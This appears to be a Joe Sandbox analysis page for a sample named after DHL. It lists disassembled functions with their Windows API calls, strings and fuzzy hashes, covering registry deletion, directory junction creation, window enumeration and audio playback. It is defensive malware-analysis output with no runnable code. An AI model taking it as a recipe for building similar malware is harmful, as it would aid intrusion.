Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID: (
API String ID: 2598888154-3887548279
Opcode ID: 94f2db7ab09e8948f41fde993d86f2bd3cfc96c55db6664eb8477adb41d85538
Instruction ID: 896486713280deacd5843097665711d5933accc3ffc20f6a8dee7cd5fba705d3
Opcode Fuzzy Hash: 94f2db7ab09e8948f41fde993d86f2bd3cfc96c55db6664eb8477adb41d85538
Instruction Fuzzy Hash: BA61F276D00219EFCB14CFE8DD84AAEBBB5FF48310F208529E955A7250E774A941DF60

Function 009DDA5D Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 009DDAA1

Part of subcall function 009DD63C: _free.LIBCMT ref: 009DD659
Part of subcall function 009DD63C: _free.LIBCMT ref: 009DD66B
Part of subcall function 009DD63C: _free.LIBCMT ref: 009DD67D
Part of subcall function 009DD63C: _free.LIBCMT ref: 009DD68F
Part of subcall function 009DD63C: _free.LIBCMT ref: 009DD6A1
Part of subcall function 009DD63C: _free.LIBCMT ref: 009DD6B3
Part of subcall function 009DD63C: _free.LIBCMT ref: 009DD6C5
Part of subcall function 009DD63C: _free.LIBCMT ref: 009DD6D7
Part of subcall function 009DD63C: _free.LIBCMT ref: 009DD6E9
Part of subcall function 009DD63C: _free.LIBCMT ref: 009DD6FB
Part of subcall function 009DD63C: _free.LIBCMT ref: 009DD70D
Part of subcall function 009DD63C: _free.LIBCMT ref: 009DD71F
Part of subcall function 009DD63C: _free.LIBCMT ref: 009DD731

_free.LIBCMT ref: 009DDA96

Part of subcall function 009D29C8: RtlFreeHeap.NTDLL(00000000,00000000,?,009DD7D1,00000000,00000000,00000000,00000000,?,009DD7F8,00000000,00000007,00000000,?,009DDBF5,00000000), ref: 009D29DE
Part of subcall function 009D29C8: GetLastError.KERNEL32(00000000,?,009DD7D1,00000000,00000000,00000000,00000000,?,009DD7F8,00000000,00000007,00000000,?,009DDBF5,00000000,00000000), ref: 009D29F0

_free.LIBCMT ref: 009DDAB8
_free.LIBCMT ref: 009DDACD
_free.LIBCMT ref: 009DDAD8
_free.LIBCMT ref: 009DDAFA
_free.LIBCMT ref: 009DDB0D
_free.LIBCMT ref: 009DDB1B
_free.LIBCMT ref: 009DDB26
_free.LIBCMT ref: 009DDB5E
_free.LIBCMT ref: 009DDB65
_free.LIBCMT ref: 009DDB82
_free.LIBCMT ref: 009DDB9A

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: acc119e305aec218358ac27fe46b925021e3cb435819470c1a4d852f6f406473
Instruction ID: 1303dbffbdaa4e6cbbf2c7ed81e860320a47ba8df90d05e08379119813075dd7
Opcode Fuzzy Hash: acc119e305aec218358ac27fe46b925021e3cb435819470c1a4d852f6f406473
Instruction Fuzzy Hash: 59315A316856049FEB21AB78E945B6A77ECFF50314F15C41BE449D7391DB34EC409B20

Function 00A0365B Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 267windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 00A0369C
_wcslen.LIBCMT ref: 00A036A7
SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 00A03797
GetClassNameW.USER32(?,?,00000400), ref: 00A0380C
GetDlgCtrlID.USER32(?), ref: 00A0385D
GetWindowRect.USER32(?,?), ref: 00A03882
GetParent.USER32(?), ref: 00A038A0
ScreenToClient.USER32(00000000), ref: 00A038A7
GetClassNameW.USER32(?,?,00000100), ref: 00A03921
GetWindowTextW.USER32(?,?,00000400), ref: 00A0395D

Strings

%s%u, xrefs: 00A03734

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout_wcslen
String ID: %s%u
API String ID: 4010501982-679674701
Opcode ID: 434de16bd83d095e2c068a28398870fe6c7379dfe09fbc31e34bf963b75bc966
Instruction ID: 5903c4d3c3229ae90dc3ac60194ab2159630168ae786e1f915915a9621af7282
Opcode Fuzzy Hash: 434de16bd83d095e2c068a28398870fe6c7379dfe09fbc31e34bf963b75bc966
Instruction Fuzzy Hash: DB91B17220470AAFDB19DF64D895FAAB7ACFF44350F008629F999D21D0DB30EA45CB91

Function 00A04954 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 253COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000400), ref: 00A04994
GetWindowTextW.USER32(?,?,00000400), ref: 00A049DA
_wcslen.LIBCMT ref: 00A049EB
CharUpperBuffW.USER32(?,00000000), ref: 00A049F7
_wcsstr.LIBVCRUNTIME ref: 00A04A2C
GetClassNameW.USER32(00000018,?,00000400), ref: 00A04A64
GetWindowTextW.USER32(?,?,00000400), ref: 00A04A9D
GetClassNameW.USER32(00000018,?,00000400), ref: 00A04AE6
GetClassNameW.USER32(?,?,00000400), ref: 00A04B20
GetWindowRect.USER32(?,?), ref: 00A04B8B

Strings

ThumbnailClass, xrefs: 00A04A6F, 00A04AF1

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: ClassName$Window$Text$BuffCharRectUpper_wcslen_wcsstr
String ID: ThumbnailClass
API String ID: 1311036022-1241985126
Opcode ID: 39e0d27592409e684fafa5d5af6fe3a189d0031f6ff4109322526e81c35d8ead
Instruction ID: a730a97748fe454927c9d16d33ea84d36dd3f0ef1313183640479e7636862658
Opcode Fuzzy Hash: 39e0d27592409e684fafa5d5af6fe3a189d0031f6ff4109322526e81c35d8ead
Instruction Fuzzy Hash: 7D91BEB21042099FDB04DF14E985FAA77E8FF89354F048469FE859A0D6EB30ED45CBA1

Function 00A38D0E Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 221windowCOMMON

Download Yara Rule

APIs

Part of subcall function 009B9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 009B9BB2

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 00A38D5A
GetFocus.USER32 ref: 00A38D6A
GetDlgCtrlID.USER32(00000000), ref: 00A38D75
DefDlgProcW.USER32(?,00000111,?,?,00000000,?,?,?,?,?,?,?), ref: 00A38E1D
GetMenuItemInfoW.USER32(?,00000000,00000000,?), ref: 00A38ECF
GetMenuItemCount.USER32(?), ref: 00A38EEC
GetMenuItemID.USER32(?,00000000), ref: 00A38EFC
GetMenuItemInfoW.USER32(?,-00000001,00000001,?), ref: 00A38F2E
GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 00A38F70
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00A38FA1

Strings

0, xrefs: 00A38E9F

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow
String ID: 0
API String ID: 1026556194-4108050209
Opcode ID: 1b0b0707ad2457ef12b4caefc6eae84e5053154d09025a24f5fc4968205adddd
Instruction ID: a3593d139cea28c9c39f4a37261a1890ff6b29a29ef564b697c585bb82d12872
Opcode Fuzzy Hash: 1b0b0707ad2457ef12b4caefc6eae84e5053154d09025a24f5fc4968205adddd
Instruction Fuzzy Hash: EC81AF715083019FDB20DF24DC85AABBBE9FF88764F14091DF995A7291DB38D901CBA2

Function 00A0DC0E Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 178COMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(?,?), ref: 00A0DC20
GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000,?,?), ref: 00A0DC46
_wcslen.LIBCMT ref: 00A0DC50
_wcsstr.LIBVCRUNTIME ref: 00A0DCA0
VerQueryValueW.VERSION(?,\VarFileInfo\Translation,?,?,?,?,?,?,00000000,?,?), ref: 00A0DCBC

Strings

\VarFileInfo\Translation, xrefs: 00A0DCB4
%u.%u.%u.%u, xrefs: 00A0DD9A
StringFileInfo\, xrefs: 00A0DC8F
DefaultLangCodepage, xrefs: 00A0DD1F
04090000, xrefs: 00A0DCF2

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: FileInfoVersion$QuerySizeValue_wcslen_wcsstr
String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
API String ID: 1939486746-1459072770
Opcode ID: 99240bdf5ae5aa57e3c1259d7609144a21e81683bbabe692fd91c4a0ef1703a3
Instruction ID: b10fae209c536d5af58d51e9f37220c7ab5ed7272ff6e90ef28747f1af4a2de6
Opcode Fuzzy Hash: 99240bdf5ae5aa57e3c1259d7609144a21e81683bbabe692fd91c4a0ef1703a3
Instruction Fuzzy Hash: 7241E133A402047ADB14ABB4AC47FFF77ACEF85760F100469F900B61C2EA70DA1187A5

Function 00A2CC34 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 104registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000000), ref: 00A2CC64
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,?,?,00000000), ref: 00A2CC8D
FreeLibrary.KERNEL32(00000000,?,?,00000000), ref: 00A2CD48

Part of subcall function 00A2CC34: RegCloseKey.ADVAPI32(?,?,?,00000000), ref: 00A2CCAA
Part of subcall function 00A2CC34: LoadLibraryA.KERNEL32(advapi32.dll,?,?,00000000), ref: 00A2CCBD
Part of subcall function 00A2CC34: GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00A2CCCF
Part of subcall function 00A2CC34: FreeLibrary.KERNEL32(00000000,?,?,00000000), ref: 00A2CD05
Part of subcall function 00A2CC34: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000000), ref: 00A2CD28

RegDeleteKeyW.ADVAPI32(?,?), ref: 00A2CCF3

Strings

RegDeleteKeyExW, xrefs: 00A2CCC9
advapi32.dll, xrefs: 00A2CCB8

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Library$EnumFree$AddressCloseDeleteLoadOpenProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2734957052-4033151799
Opcode ID: cac696decd835d5d985ac010a3b69c06030ebf4ab82f54c31c96aa5ea5d76678
Instruction ID: 0b739722168c9659ec436787680fa88766786704ae263a199f614967c2e14572
Opcode Fuzzy Hash: cac696decd835d5d985ac010a3b69c06030ebf4ab82f54c31c96aa5ea5d76678
Instruction Fuzzy Hash: 9B315E75901129BBD720CBA5EC88EFFBB7CEF46760F000175B905E3140D6749A469BA0

Function 00A13D1E Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 101fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00A13D40
_wcslen.LIBCMT ref: 00A13D6D
CreateDirectoryW.KERNEL32(?,00000000), ref: 00A13D9D
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 00A13DBE
RemoveDirectoryW.KERNEL32(?), ref: 00A13DCE
DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 00A13E55
CloseHandle.KERNEL32(00000000), ref: 00A13E60
CloseHandle.KERNEL32(00000000), ref: 00A13E6B

Strings

\??\%s, xrefs: 00A13D5B
\, xrefs: 00A13D77
:, xrefs: 00A13D82

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove_wcslen
String ID: :$\$\??\%s
API String ID: 1149970189-3457252023
Opcode ID: c7251e7d627676ef1fb3e5cd229e78911f1b4f5b5eb34a6088942280d2615585
Instruction ID: 2ca7d57dd6cab3981de5cb3c63e8c3da4a2c34f8efd252d1ffac67ef08249ac1
Opcode Fuzzy Hash: c7251e7d627676ef1fb3e5cd229e78911f1b4f5b5eb34a6088942280d2615585
Instruction Fuzzy Hash: 3A319072900219AADF21DFA0EC49FEB77BDEF88750F1041A5F509E60A0EB7497858B64

Function 00A0E6B0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00A0E6B4

Part of subcall function 009BE551: timeGetTime.WINMM(?,?,00A0E6D4), ref: 009BE555

Sleep.KERNEL32(0000000A), ref: 00A0E6E1
EnumThreadWindows.USER32(?,Function_0006E665,00000000), ref: 00A0E705
FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 00A0E727
SetActiveWindow.USER32 ref: 00A0E746
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 00A0E754
SendMessageW.USER32(00000010,00000000,00000000), ref: 00A0E773
Sleep.KERNEL32(000000FA), ref: 00A0E77E
IsWindow.USER32 ref: 00A0E78A
EndDialog.USER32(00000000), ref: 00A0E79B

Strings

BUTTON, xrefs: 00A0E719

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
String ID: BUTTON
API String ID: 1194449130-3405671355
Opcode ID: eeea7a4655ffc59ffbde5e626fdb1efc0b4b3a9c98c96758bdb08e75749a91d5
Instruction ID: 034429e8daf51012ca3e9219827715ec3e30f2942fe62884ef02c77f0695a8e8
Opcode Fuzzy Hash: eeea7a4655ffc59ffbde5e626fdb1efc0b4b3a9c98c96758bdb08e75749a91d5
Instruction Fuzzy Hash: 9321A571200208AFEB00EFE4FC89B253B69F754759F149835F50A921F1DB72AC52AB24

Function 00A0E9FC Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 71COMMON

Download Yara Rule

APIs

Part of subcall function 009A9CB3: _wcslen.LIBCMT ref: 009A9CBD

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 00A0EA5D
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 00A0EA73
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00A0EA84
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 00A0EA96
mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 00A0EAA7

Strings

close PlayMe, xrefs: 00A0EA6E, 00A0EA9B
play PlayMe, xrefs: 00A0EAA2
status PlayMe mode, xrefs: 00A0EA58
alias PlayMe, xrefs: 00A0EA36
open , xrefs: 00A0EA0C
play PlayMe wait, xrefs: 00A0EA91

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: SendString$_wcslen
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 2420728520-1007645807
Opcode ID: 6bfd0e80eec90fc54b127106a5fcdea45492d4c74165d148f722628c6b82f654
Instruction ID: 3ac2115f1f3ffdf36fcbb2f94cac18e5d48814a6a31fb1b043ac2bec1a60cb88
Opcode Fuzzy Hash: 6bfd0e80eec90fc54b127106a5fcdea45492d4c74165d148f722628c6b82f654
Instruction Fuzzy Hash: 57115131A5021979D720E7A1DC4AEFF6A7CFBD6F40F4408297811A20D1EEB00915C9F0

Function 00A05CC6 Relevance: 18.2, APIs: 12, Instructions: 173COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 00A05CE2
GetWindowRect.USER32(00000000,?), ref: 00A05CFB
MoveWindow.USER32(?,0000000A,00000004,?,?,00000004,00000000), ref: 00A05D59
GetDlgItem.USER32(?,00000002), ref: 00A05D69
GetWindowRect.USER32(00000000,?), ref: 00A05D7B
MoveWindow.USER32(?,?,00000004,00000000,?,00000004,00000000), ref: 00A05DCF
GetDlgItem.USER32(?,000003E9), ref: 00A05DDD
GetWindowRect.USER32(00000000,?), ref: 00A05DEF
MoveWindow.USER32(?,0000000A,00000000,?,00000004,00000000), ref: 00A05E31
GetDlgItem.USER32(?,000003EA), ref: 00A05E44
MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 00A05E5A
InvalidateRect.USER32(?,00000000,00000001), ref: 00A05E67

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: f7f2d2e16fcf5496d88bf648b6d968d5db43aadddcf3b6ba06f210ac202b7389
Instruction ID: 0a50f5f31315873ee95aad2c388b58a418c8f9734c1252859057500ed512fcbd
Opcode Fuzzy Hash: f7f2d2e16fcf5496d88bf648b6d968d5db43aadddcf3b6ba06f210ac202b7389
Instruction Fuzzy Hash: 7151FCB1E00619AFDF18CFA8DD89AAEBBB5EB48310F148129F915E6290D7709E05CF50

Function 009B8BCD Relevance: 18.2, APIs: 12, Instructions: 168timeCOMMON

Download Yara Rule

APIs

Part of subcall function 009B8F62: InvalidateRect.USER32(?,00000000,00000001,?,?,?,009B8BE8,?,00000000,?,?,?,?,009B8BBA,00000000,?), ref: 009B8FC5

DestroyWindow.USER32(?), ref: 009B8C81
KillTimer.USER32(00000000,?,?,?,?,009B8BBA,00000000,?), ref: 009B8D1B
DestroyAcceleratorTable.USER32(00000000), ref: 009F6973
ImageList_Destroy.COMCTL32(00000000,?,?,?,?,?,?,00000000,?,?,?,?,009B8BBA,00000000,?), ref: 009F69A1
ImageList_Destroy.COMCTL32(?,?,?,?,?,?,?,00000000,?,?,?,?,009B8BBA,00000000,?), ref: 009F69B8
ImageList_Destroy.COMCTL32(00000000,?,?,?,?,?,?,?,?,00000000,?,?,?,?,009B8BBA,00000000), ref: 009F69D4
DeleteObject.GDI32(00000000), ref: 009F69E6

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID:
API String ID: 641708696-0
Opcode ID: 70d6509ab0a2539d09d6db8a2f179224d6a25848773db2b097e3379112fe8bb2
Instruction ID: 6bea6f79a076ee02e4e374519059f3fd6fb9d5991c286684c38a263d93f1bf78
Opcode Fuzzy Hash: 70d6509ab0a2539d09d6db8a2f179224d6a25848773db2b097e3379112fe8bb2
Instruction Fuzzy Hash: FA61BC71101705DFCB25DF68CE49BB67BF9FB48322F148918E1869A960CB75A8C2DB90

Function 009B9838 Relevance: 18.1, APIs: 12, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 009B9944: GetWindowLongW.USER32(?,000000EB), ref: 009B9952

GetSysColor.USER32(0000000F), ref: 009B9862

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: c1254ac3077ae7146ccac947258593e9072882d811940dc86347d584da25e503
Instruction ID: 94e054659a2c28fb5480fc4e97c1310fa522240b0ef340e82bf959487fc88a3a
Opcode Fuzzy Hash: c1254ac3077ae7146ccac947258593e9072882d811940dc86347d584da25e503
Instruction Fuzzy Hash: 1241B131114644AFDB219FB89D89BF93BB9EB06330F144619FBA29B2E1D7359C42DB10

Function 00A096E2 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 137windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000001,00000000,?,?,009EF7F8,00000001,0000138C,00000001,?,00000001,00000000,?,?), ref: 00A09717
LoadStringW.USER32(00000000,?,009EF7F8,00000001), ref: 00A09720

Part of subcall function 009A9CB3: _wcslen.LIBCMT ref: 009A9CBD

GetModuleHandleW.KERNEL32(00000000,00000001,?,00000FFF,?,?,009EF7F8,00000001,0000138C,00000001,?,00000001,00000000,?,?,00000000), ref: 00A09742
LoadStringW.USER32(00000000,?,009EF7F8,00000001), ref: 00A09745
MessageBoxW.USER32(00000000,00000000,?,00011010), ref: 00A09866

Strings

Line %d:, xrefs: 00A097A0
^ ERROR, xrefs: 00A097FB
Error: , xrefs: 00A0981D
Line %d (File "%s"):, xrefs: 00A0978F
%s (%d) : ==> %s: %s %s, xrefs: 00A0984A

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

